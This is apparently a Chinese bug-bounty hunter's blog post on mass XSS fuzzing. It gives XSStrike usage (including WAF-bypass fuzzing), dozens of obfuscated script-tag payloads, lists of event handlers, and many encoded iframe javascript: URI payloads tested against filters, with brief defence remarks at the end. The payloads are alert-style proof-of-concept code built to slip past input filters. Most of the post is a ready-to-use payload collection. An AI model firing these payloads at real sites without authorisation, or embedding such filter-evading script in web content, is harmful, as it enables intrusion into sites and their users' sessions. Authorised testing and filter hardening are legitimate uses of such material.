最近想刷刷国外的src,而批量扫xss是一个不错的选择,一番搜索下发现了一些有趣的项目,写文记录下。
XSStrike
一个基于python3的xss扫描器,使用下来感觉一般吧
这里记录下使用命令
get 请求跳过dom型查询 python3 xsstrike.py -u “http://example.com/search.php?q=query” –skip-dom
post请求 跳过dom型 python3 xsstrike.py -u “http://example.com/search.php?q=query” –skip-dom –data “q=query” python3 xsstrike.py -u “http://example.com/search.php?q=query” –skip-dom –data ‘{“q”:”query”} –json’
自动 python3 xsstrike.py -u http://example.com/page.php?q=query –crawl –blind
绕waf python3 xsstrike.py -u “http://example.com/search.php?q=query” –fuzzer
xss fuzz常常在于模糊测试时非常有用,而XSS的payload往往有几个方面组成,那么我们完全可以批量生成我们的测试payload,然后使用burp或者其他工具对某些输入点进行Fuzz
1、常用标签
2、常用事件
3、payload
4、其他标签
5、编码
6、前缀
7、特殊payload
简单总结了一下也就如上一些方面,那么通过这些组合,我们就可以生成我们自己常用的payload列表
这里就要讲一下XSS-Fuzz这个项目了,作者总结了很多标签及事件的用法,但是由于不同事件与标签的适配性,还有事件触发条件等,这些需要重新整理。而XSStrike则是通过插入到页面中进行判断的,而我这里比较想实现的方式是直接输入大批量的patyload的,然后看哪个payload能用实在。当然更专业的检测还是通过返回包判断的方式
还有一些payload需要低版本的IE浏览器才能支持,这里就不在做考虑了。
思路呢就是先筛选可执行的js弹窗的各种payload,然后在结合各种标签事件,加编码即可
首先去简单收集了下payload,结果如下
<script>alert('1')</script>
<script>javascript:window.onerror = alert(2);</script>
<script>javascript:alert('3');</script>
<script>(alert)(4)</script>
<script>a=alert,a(5)</script>
<script>[6].find(alert)</script>
<script>top["al"+"ert"](7)</script>
<script>top[/al/.source+/ert/.source](8)</script>
<script>al\u0065rt(9)</script>
<script>top['al\145rt'](10)</script>
<script>top['al\x65rt'](11)</script>
//parseInt('alert',30)
//8680439..toString(30)
<script>top[11189117..toString(32)](12)</script>
<script>top.alert(13)</script>
<script>`${alert(14)}`()</script>
<script>(alert(15))</script>
<script>eval('~a~le~rt~~(~~16~~)~'.replace(/~/g, ''))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,55,41))</script>
<script>var x=eval;x('alert(18)')</script>
<script>(1, eval)('alert(19)')</script>
<script>new Function('alert(20)')()</script>
<script>eval.call(null, 'alert(21)')</script>
<script>prompt(22)</script>
<script>confirm(23)</script>
<script>alert(String.fromCharCode(50, 52))</script>
<script>console.log(24)</script>
<script>self['al'+'ert'](25)</script>
<script>window['al'+'ert'](26)</script>
<script>frames['al'+'ert'](27)</script>
<script>parent['al'+'ert'](28)</script>
<script>(function(){alert(29)})()</script>
<script>!function(){alert(30)}()</script>
<script>~function(){alert(31)}()</script>
<script>-function(){alert(32)}()</script>
<script>+function(){alert(33)}()</script>
<script>javascript:[''].findIndex(alert(34))</script>
<script>location=['javascript:alert(35)']</script>
<script>Function(alert(36))()</script>
<script>data:alert(37)</script>
<script>$:alert(38)</script>
<script>$:{alert(39)}</script>
<script>javascript:/*!90000*/alert('40');</script>
<script>javascript:alert/*!90000*/('41');</script>
<script>javascript:alert(/*!90000*/'42');</script>
<script>javascript:alert('43'/*!90000*/);</script>
<script>javascript:alert('44')/*!90000*/;</script>
<script>/*!90000*/javascript:alert('45');</script>
<script>javascript/*!90000*/:alert('46');</script>
可以看到各种payload还挺多的,不难发现几种变形规律
payload也大体分为两个方面 一个是js代码式 alert(1) 一个是需要指定触发方式 javascript:
:alert(1)前面加大多数字符都可以,除了约定不能以%、&等开头和运算符以外都可以
!、~、-、+遇到:会报错
;只能在开头
/**/、/*%00*/、/*90000*/ 不能在字符串中间
在函数体中充当字符串的可以使用各种类型编码 通过以上这些手段可以将payload列表在扩充,不过其实也没太多必要,一般一种形式来一个,过了就过了,没过就算了。毕竟xss好多都不收。。 还有可以去看一看这个项目白帽赏金平台xss漏洞模糊测试有效载荷的最佳集合,总结的很全面。
其次呢就是各种事件,事件种类大致分类可以参考javascript的官方文档或者github的项目
测试了一下平时比较好触发的事件如下
onloadstart
onerror
onprogress
onsuspend
ondurationchange
onloadedmetadata
onloadeddata
oncanplay
oncanplaythrough
onmouseover
onmousemove
onmouseout
onload
onfocus
接下来就是选择标签了,其实标签挺多的,而且大部分都还支持各类事件。重点是某些标签,在网上查询是不支持触发事件的,其实是需要我们测试后才能确定的,可以平时收藏一些不常见的标签,例如object的type等
有了标签,有了事件,有了payload。那么我们写个脚本组合一下就能有大量的payload的方便我们进行fuzz了
生成效果如下
最后把payload乱序一下,排个编号。芜湖,大功告成。处理完的结果放在github了,有需自取。
XSS中的编码根据不同的浏览器器可能适用性不一样,下面记录一些常见的通用编码绕过方式 在单纯的js代码或者说事件中,是不能随意使用的,这样会破坏结构。但是可以使用\u0065(Unicode)来编码字符 如al\u0065rt(1)是可以当做js来执行的
而在src属性中,其中的内容是当字符串处理的,那可以被浏览器解析的,应该都可以使用
<iframe src="jav	ascript:alert(1)" type=text>
如上的payload就添加了一个空字符,具体可以去查ascii码表。
那么编码么我们可使用的有以下几种,html实体编码、html编码、Unicode编码、十六进制编码、八进制编码。所以单单一个i字符就有以下这么多种编码
%69
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
\x69
\u0069
\151
通过简单的脚本筛选,发现以下都是可以的
<iframe src="jav	ascript:alert(1)" type=text></iframe>
<iframe src="jav	ascript:alert(2)" type=text></iframe>
<iframe src="jav	ascript:alert(3)" type=text></iframe>
<iframe src="jav	ascript:alert(4)" type=text></iframe>
<iframe src="jav	ascript:alert(5)" type=text></iframe>
<iframe src="jav	ascript:alert(6)" type=text></iframe>
<iframe src="jav	ascript:alert(7)" type=text></iframe>
<iframe src="jav	ascript:alert(8)" type=text></iframe>
<iframe src="jav	ascript:alert(9)" type=text></iframe>
<iframe src="jav	ascript:alert(10)" type=text></iframe>
<iframe src="jav	ascript:alert(11)" type=text></iframe>
<iframe src="jav	ascript:alert(12)" type=text></iframe>
<iframe src="jav	ascript:alert(13)" type=text></iframe>
<iframe src="jav	ascript:alert(14)" type=text></iframe>
<iframe src="jav	ascript:alert(15)" type=text></iframe>
<iframe src="jav	ascript:alert(16)" type=text></iframe>
<iframe src="jav	ascript:alert(17)" type=text></iframe>
<iframe src="jav	ascript:alert(18)" type=text></iframe>
<iframe src="jav	ascript:alert(19)" type=text></iframe>
<iframe src="jav	ascript:alert(20)" type=text></iframe>
<iframe src="jav	ascript:alert(21)" type=text></iframe>
<iframe src="jav	ascript:alert(22)" type=text></iframe>
<iframe src="jav	ascript:alert(23)" type=text></iframe>
<iframe src="jav	ascript:alert(24)" type=text></iframe>
<iframe src="jav	ascript:alert(25)" type=text></iframe>
<iframe src="jav	ascript:alert(26)" type=text></iframe>
<iframe src="jav	ascript:alert(27)" type=text></iframe>
<iframe src="jav	ascript:alert(28)" type=text></iframe>
<iframe src="jav	ascript:alert(29)" type=text></iframe>
<iframe src="jav	ascript:alert(30)" type=text></iframe>
<iframe src="jav	ascript:alert(31)" type=text></iframe>
<iframe src="jav	ascript:alert(32)" type=text></iframe>
<iframe src="jav	ascript:alert(33)" type=text></iframe>
<iframe src="jav	ascript:alert(34)" type=text></iframe>
可以看到html编码,unicode编码、16进制编码和八进制编码在语句中都不可以。 但是将这些编码放在js中呢? 发现hrml编码和unicode编码是可以执行的
<iframe src="jav	ascript:al%65rt(0)" type=text></iframe>
<iframe src="jav	ascript:al\u0065rt(1)" type=text></iframe>
但是十六进制和八进制没有用了吗?当然不是
<iframe src="jav	ascript:top['al\x65rt'](1)" type=text></iframe>
<iframe src="jav	ascript:top['al\145rt'](2)" type=text></iframe>
在字符串中是可以使用这两种编码来进行编码转换的。 那么就剩最后一个问题了,上面的字符支持在字符串中进行编码吗?当然是全部支持了。
还有一个问题,连接符:是属于后边js部分呢,还是前面javascript声明呢。 因为js支持支持html编码,而javsscript声明不支持,那么我们把:编码为%3a看看会有什么效果即可
<iframe src="jav	ascript%3aalert(1)" type=text></iframe>
弹不出来,那么说明是属于javascript这个关键词的,只支持html实体编码! 在一些特定条件中,会涉及到二次编码,如实体编码再用url编码一次传入,这些情况不在深入跟进了,大体思路了解以后,希望每个人都是xss小能手。
字符串支持html实体编码、html编码、Unicode编码、十六进制编码、八进制编码 js仅支持unicode 在javascipt:alert(1)这种指定触发条件的情况下,js支持除了十六进制和八进制的其他字符编码。 而javascript这个关键词,只支持html实体编码。
现在xss的防御也挺简单的,只需要把输入输出都进行过滤即可。写文章的时候想到了一个问题,输入转义和输出转义可以完全防止XSS攻击吗?当然是不能的,一个是因为有些paylaod可能就不带实体编码的那几个字符,另外一个方面呢在一些情况下,因为可能仅仅只是输入过滤了,或仅仅是输出过滤了,又或者输出过滤只考虑了输入页面的点。如这个页面输出过滤了,其他地方加载时没有过滤,就也有可能存在问题。
最后,深入研究一个技术确实挺快乐的~